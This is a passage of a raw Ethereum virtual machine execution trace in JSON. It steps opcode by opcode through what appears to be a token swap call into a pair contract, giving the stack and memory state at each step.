116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12578,"op":"PUSH2","gas":77118,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12581,"op":"JUMPI","gas":77115,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0","0x1","0x312a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12586,"op":"JUMPDEST","gas":77105,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12587,"op":"POP","gas":77104,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12588,"op":"GAS","gas":77102,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12589,"op":"CALL","gas":77100,"gasCost":75897,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x12d2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":75797,"gasCost":3,"depth":2,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":75794,"gasCost":3,"depth":2,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":75791,"gasCost":12,"depth":2,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"CALLVALUE","gas":75779,"gasCost":2,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6,"op":"DUP1","gas":75777,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"ISZERO","gas":75774,"gasCost":3,"depth":2,"stack":["0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"PUSH2","gas":75771,"gasCost":3,"depth":2,"stack":["0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11,"op":"JUMPI","gas":75768,"gasCost":10,"depth":2,"stack":["0x0","0x1","0x10"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"JUMPDEST","gas":75758,"gasCost":1,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":17,"op":"POP","gas":75757,"gasCost":2,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"PUSH1","gas":75755,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"CALLDATASIZE","gas":75752,"gasCost":2,"depth":2,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":21,"op":"LT","gas":75750,"gasCost":3,"depth":2,"stack":["0x4","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":22,"op":"PUSH2","gas":75747,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"JUMPI","gas":75744,"gasCost":10,"depth":2,"stack":["0x0","0x18d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH1","gas":75734,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":28,"op":"CALLDATALOAD","gas":75731,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"PUSH1","gas":75728,"gasCost":3,"depth":2,"stack":["0x6d9a640a000000000000000000000000000000000000000000000000000136db"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"SHR","gas":75725,"gasCost":3,"depth":2,"stack":["0x6d9a640a000000000000000000000000000000000000000000000000000136db","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":32,"op":"DUP1","gas":75722,"gasCost":3,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":33,"op":"PUSH4","gas":75719,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":38,"op":"GT","gas":75716,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":39,"op":"PUSH2","gas":75713,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"JUMPI","gas":75710,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x1","0xe3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":227,"op":"JUMPDEST","gas":75700,"gasCost":1,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":228,"op":"DUP1","gas":75699,"gasCost":3,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":229,"op":"PUSH4","gas":75696,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":234,"op":"GT","gas":75693,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":235,"op":"PUSH2","gas":75690,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":238,"op":"JUMPI","gas":75687,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x0","0x145"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":239,"op":"DUP1","gas":75677,"gasCost":3,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":240,"op":"PUSH4","gas":75674,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":245,"op":"GT","gas":75671,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a","0x485cc955"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":246,"op":"PUSH2","gas":75668,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":249,"op":"JUMPI","gas":75665,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x0","0x11f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":250,"op":"DUP1","gas":75655,"gasCost":3,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":251,"op":"PUSH4","gas":75652,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":256,"op":"EQ","gas":75649,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a","0x485cc955"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":257,"op":"PUSH2","gas":75646,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":260,"op":"JUMPI","gas":75643,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x0","0x261"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":261,"op":"DUP1","gas":75633,"gasCost":3,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":262,"op":"PUSH4","gas":75630,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":267,"op":"EQ","gas":75627,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a","0x6a627842"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":268,"op":"PUSH2","gas":75624,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":271,"op":"JUMPI","gas":75621,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x0","0x276"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":272,"op":"DUP1","gas":75611,"gasCost":3,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00